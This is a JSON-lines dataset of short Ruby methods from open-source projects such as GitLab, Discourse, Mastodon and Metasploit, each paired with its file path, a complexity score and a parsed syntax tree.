{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/generate-failed-test-on-omnibus-mr-message.rb","start_line":47,"raw_source":"def content\n    <<~MARKDOWN\n    :warning: @#{author_username} The `e2e:test-on-omnibus-ee` child pipeline has failed.\n\n    - `e2e:test-on-omnibus-ee` pipeline: #{failed_package_and_test_pipeline['web_url']}\n\n    `e2e:test-on-omnibus-ee` pipeline is allowed to fail due its [flakiness](#{package_and_test_link}). Failures should be\n    investigated to guarantee this backport complies with GitLab's quality standards.\n\n    If you're unsure whether this failure is legitimate, please reach out to the `#s_developer_experience` Slack channel\n    to verify that the failures are not related to the merge request.\n\n    ([_improve this message_](https://gitlab.com/gitlab-org/gitlab/-/edit/master/scripts/generate-failed-test-on-omnibus-mr-message.rb))\n    MARKDOWN\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":warning: @\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"author_username\"]}]},{\"type\":\"str\",\"children\":[\" The `e2e:test-on-omnibus-ee` child pipeline has failed.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"- `e2e:test-on-omnibus-ee` pipeline: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failed_package_and_test_pipeline\"]},\"[]\",{\"type\":\"str\",\"children\":[\"web_url\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"`e2e:test-on-omnibus-ee` pipeline is allowed to fail due its [flakiness](\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package_and_test_link\"]}]},{\"type\":\"str\",\"children\":[\"). Failures should be\\n\"]},{\"type\":\"str\",\"children\":[\"investigated to guarantee this backport complies with GitLab's quality standards.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"If you're unsure whether this failure is legitimate, please reach out to the `#s_developer_experience` Slack channel\\n\"]},{\"type\":\"str\",\"children\":[\"to verify that the failures are not related to the merge request.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"([_improve this message_](https://gitlab.com/gitlab-org/gitlab/-/edit/master/scripts/generate-failed-test-on-omnibus-mr-message.rb))\\n\"]}]}]}","id":"467c5fd5-4016-4a24-bcc0-81c044874ece"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/broadcasts/welcome_notification/generator.rb","start_line":106,"raw_source":"def providers\n        # we filter the providers to suggest based on the following two criteria\n        # - provider is enabled\n        # - an acive provider Broadcast message exists\n        # Disabling/deactivating a provider_connect broadcast removes\n        # the provider from suggestions sent to users\n        @providers ||=\n          Authentication::Providers.enabled.select do |provider|\n            authentication_broadcasts.exists?(title: I18n.t(\n              \"services.broadcasts.welcome_notification.generator.welcome\", key: \"#{provider}_connect\"\n            ))\n          end\n      end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"providers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@providers\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authentication\"]},\"Providers\"]},\"enabled\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"provider\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authentication_broadcasts\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"services.broadcasts.welcome_notification.generator.welcome\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider\"]}]},{\"type\":\"str\",\"children\":[\"_connect\"]}]}]}]}]}]}]}]}]}]}]}","id":"b9e2ac29-2add-4384-9fd0-a287cf5ecd95"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/message.rb","start_line":344,"raw_source":"def parse(buffer)\n    super do\n      @password = buffer.read_cstring\n    end\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buffer\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@password\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"read_cstring\"]}]}]}]}","id":"ddbe99db-f4c4-4f31-8079-83846cb0cfbb"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/site_text_serializer.rb","start_line":14,"raw_source":"def id\n    object[:id]\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}","id":"81d23b87-12e8-45aa-8844-9cbb73c66de1"}
{"repo_name":"spree","file_path":"./repos/spree/core/spec/lib/spree/service_module_spec.rb","start_line":208,"raw_source":"def second_method(first_value:)\n        success(first_value + ' Second Method Success!')\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"second_method\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"first_value\"]}]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_value\"]},\"+\",{\"type\":\"str\",\"children\":[\" Second Method Success!\"]}]}]}]}","id":"3e007a95-eb81-472d-ae7a-7266ed37c524"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/supply/spec/commands_generator_spec.rb","start_line":11,"raw_source":"def expect_setup_perform_download\n    fake_setup = \"setup\"\n    expect(Supply::Setup).to receive(:new).and_return(fake_setup)\n    expect(fake_setup).to receive(:perform_download)\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_setup_perform_download\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fake_setup\",{\"type\":\"str\",\"children\":[\"setup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Supply\"]},\"Setup\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"new\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"fake_setup\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"fake_setup\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"perform_download\"]}]}]}]}]}","id":"6ee74f76-a1d6-4347-8489-4043c6be123b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/lib/completions/endpoints/endpoint_compliance.rb","start_line":120,"raw_source":"def read_body(*, &block)\n              if block_given?\n                @body.each(&block)\n              else\n                super\n              end\n            end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"read_body\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@body\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"3d297be6-1b9a-495b-b34e-18826afc05b2"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/in_tail.rb","start_line":926,"raw_source":"def close\n        if @io_handler\n          @io_handler.close\n          @io_handler = nil\n        end\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@io_handler\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@io_handler\"]},\"close\"]},{\"type\":\"ivasgn\",\"children\":[\"@io_handler\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}","id":"3ba06f97-d847-44bd-9a16-35e9df4f2aab"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/form/import.rb","start_line":66,"raw_source":"def save\n    return false unless valid?\n\n    ApplicationRecord.transaction do\n      now = Time.now.utc\n      @bulk_import = current_account.bulk_imports.create(type: type, overwrite: overwrite || false, state: :unconfirmed, original_filename: data.original_filename, likely_mismatched: likely_mismatched?)\n      nb_items = BulkImportRow.insert_all(parsed_rows.map { |row| { bulk_import_id: bulk_import.id, data: row, created_at: now, updated_at: now } }).length\n      @bulk_import.update(total_items: nb_items)\n    end\n  end","complexity_score":35.5,"ast_json":"{\"type\":\"def\",\"children\":[\"save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"now\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bulk_import\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_account\"]},\"bulk_imports\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"overwrite\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"overwrite\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"sym\",\"children\":[\"unconfirmed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"original_filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data\"]},\"original_filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"likely_mismatched\"]},{\"type\":\"send\",\"children\":[null,\"likely_mismatched?\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"nb_items\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImportRow\"]},\"insert_all\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parsed_rows\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bulk_import_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bulk_import\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"row\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"lvar\",\"children\":[\"now\"]}]}]}]}]},\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bulk_import\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"total_items\"]},{\"type\":\"lvar\",\"children\":[\"nb_items\"]}]}]}]}]}]}]}]}","id":"febe051f-c12b-4d5b-a1aa-010b83a6b63e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/members_mapper.rb","start_line":186,"raw_source":"def base_log_params(member_hash)\n        {\n          user_id: member_hash['user_id'],\n          access_level: member_hash['access_level'],\n          importable_type: @importable.class.to_s,\n          importable_id: @importable.id,\n          root_namespace_id: @importable.try(:root_ancestor)&.id\n        }\n      end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"base_log_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member_hash\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"access_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"access_level\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importable_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importable\"]},\"class\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importable\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"root_namespace_id\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@importable\"]},\"try\",{\"type\":\"sym\",\"children\":[\"root_ancestor\"]}]},\"id\"]}]}]}]}","id":"2037ff2e-2c0e-4bf6-809e-5681ef602e09"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/jenkins_metaprogramming.rb","start_line":325,"raw_source":"def version\n    @version ||= Faker::App.semantic_version\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"App\"]},\"semantic_version\"]}]}]}","id":"3ff05156-3cb5-49c7-89f6-1dcdb7037aa2"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/bulk_services/project_mappings/base_create_service.rb","start_line":65,"raw_source":"def validate_contract(service_call, params)\n        extra_attributes = attributes_from_params(params)\n        mapping_attributes_for_all_projects = mapping_context.mapping_attributes_for_all_projects(extra_attributes)\n        set_attributes_results = mapping_attributes_for_all_projects.map do |mapping_attributes|\n          set_attributes(mapping_attributes)\n        end\n\n        if (failures = set_attributes_results.select(&:failure?)).any?\n          service_call.success = false\n          service_call.errors = failures.map(&:errors)\n        end\n\n        service_call.result = set_attributes_results.map(&:result)\n\n        service_call\n      end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_contract\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_call\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"extra_attributes\",{\"type\":\"send\",\"children\":[null,\"attributes_from_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mapping_attributes_for_all_projects\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mapping_context\"]},\"mapping_attributes_for_all_projects\",{\"type\":\"lvar\",\"children\":[\"extra_attributes\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"set_attributes_results\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mapping_attributes_for_all_projects\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mapping_attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"set_attributes\",{\"type\":\"lvar\",\"children\":[\"mapping_attributes\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"failures\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set_attributes_results\"]},\"select\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"failure?\"]}]}]}]}]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"success=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"errors=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failures\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"result=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set_attributes_results\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"result\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"service_call\"]}]}]}","id":"fe74db10-d8a4-4fc4-bd88-997f916f0d4d"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/reminders/create_service.rb","start_line":35,"raw_source":"def after_perform(service_call)\n      schedule_new_reminder_job(service_call.result)\n\n      service_call\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"after_perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_call\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"schedule_new_reminder_job\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"result\"]}]},{\"type\":\"lvar\",\"children\":[\"service_call\"]}]}]}","id":"71150fa1-b827-4a46-a837-b034f6f7579d"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/spec/okjson.rb","start_line":482,"raw_source":"def hexenc4(t, u)\n    t.putc(Hex[(u>>12)&0xf])\n    t.putc(Hex[(u>>8)&0xf])\n    t.putc(Hex[(u>>4)&0xf])\n    t.putc(Hex[u&0xf])\n  end","complexity_score":22.15,"ast_json":"{\"type\":\"def\",\"children\":[\"hexenc4\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]},{\"type\":\"arg\",\"children\":[\"u\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"putc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hex\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\">>\",{\"type\":\"int\",\"children\":[12]}]}]},\"&\",{\"type\":\"int\",\"children\":[15]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"putc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hex\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\">>\",{\"type\":\"int\",\"children\":[8]}]}]},\"&\",{\"type\":\"int\",\"children\":[15]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"putc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hex\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\">>\",{\"type\":\"int\",\"children\":[4]}]}]},\"&\",{\"type\":\"int\",\"children\":[15]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"putc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hex\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"u\"]},\"&\",{\"type\":\"int\",\"children\":[15]}]}]}]}]}]}","id":"3e0aabed-037e-4fe4-a012-c3661e235759"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper.rb","start_line":53,"raw_source":"def helpers_internal(*snake_case_symbols)\n      helper_modules = []\n      snake_case_symbols.each do |name|\n        begin\n          helper_modules << Fluent::PluginHelper.const_get(name.to_s.split('_').map(&:capitalize).join)\n        rescue NameError\n          raise \"Unknown plugin helper:#{name}\"\n        end\n      end\n      include(*helper_modules)\n    end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"helpers_internal\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"snake_case_symbols\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"helper_modules\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"snake_case_symbols\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"helper_modules\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"PluginHelper\"]},\"const_get\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\"_\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"capitalize\"]}]}]},\"join\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NameError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown plugin helper:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"helper_modules\"]}]}]}]}]}","id":"2a93e6ed-b075-435f-bc16-8ae5e334c4a8"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/test/integration/test_custom_year_range_holidays.rb","start_line":5,"raw_source":"def test_after_year_feature\n    Holidays.load_custom('test/data/test_custom_year_range_holiday_defs.yaml')\n    assert_equal [], Holidays.on(Date.civil(2015,6,1), :custom_year_range_file)\n    assert_not_equal [], Holidays.on(Date.civil(2016,6,1), :custom_year_range_file)\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_after_year_feature\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"load_custom\",{\"type\":\"str\",\"children\":[\"test/data/test_custom_year_range_holiday_defs.yaml\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2015]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"sym\",\"children\":[\"custom_year_range_file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Holidays\"]},\"on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"civil\",{\"type\":\"int\",\"children\":[2016]},{\"type\":\"int\",\"children\":[6]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"sym\",\"children\":[\"custom_year_range_file\"]}]}]}]}]}","id":"b729c34f-ae33-4093-86d1-4ae8012e76a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/user_resolver.rb","start_line":21,"raw_source":"def resolve(id: nil, username: nil)\n      authorize!\n\n      if id\n        GitlabSchema.object_from_id(id, expected_type: User)\n      else\n        batch_load(username)\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"username\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitlabSchema\"]},\"object_from_id\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_type\"]},{\"type\":\"const\",\"children\":[null,\"User\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"batch_load\",{\"type\":\"lvar\",\"children\":[\"username\"]}]}]}]}]}","id":"445eec27-3c26-4ef2-9d5c-003807835c47"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/audit/auditor.rb","start_line":107,"raw_source":"def log_events_and_stream(events)\n        log_authentication_event\n        saved_events = log_to_database(events)\n        log_to_new_tables(saved_events, @name)\n\n        # we only want to override events with saved_events when it successfully saves into database.\n        # we are doing so to ensure events in memory reflects events saved in database and have id column.\n        events = saved_events if saved_events.present?\n\n        log_to_file_and_stream(events)\n      end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"log_events_and_stream\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"events\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_authentication_event\"]},{\"type\":\"lvasgn\",\"children\":[\"saved_events\",{\"type\":\"send\",\"children\":[null,\"log_to_database\",{\"type\":\"lvar\",\"children\":[\"events\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log_to_new_tables\",{\"type\":\"lvar\",\"children\":[\"saved_events\"]},{\"type\":\"ivar\",\"children\":[\"@name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"saved_events\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"lvar\",\"children\":[\"saved_events\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"log_to_file_and_stream\",{\"type\":\"lvar\",\"children\":[\"events\"]}]}]}]}","id":"9180bde0-2030-419c-a3a7-9788c4138d55"}
